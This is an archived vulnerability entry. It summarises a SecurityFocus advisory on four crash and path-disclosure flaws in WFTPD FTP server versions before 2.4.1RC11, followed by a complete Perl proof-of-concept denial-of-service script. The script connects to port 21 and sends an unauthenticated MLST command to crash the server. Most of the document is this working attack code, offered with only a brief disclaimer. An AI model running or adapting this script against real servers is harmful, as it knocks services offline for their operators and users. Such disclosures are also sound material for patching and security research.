source: https://www.securityfocus.com/bid/1506/info
  
WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.
  
1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #3
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Sends an MLST command without logging in with USER and PASS first, causing
# WFTPD to crash. Note: MLST is not enabled by default, and must be for this
# to work.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

print $socket "MLST a\n";

# Wait a while, just to make sure the command arrives.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n"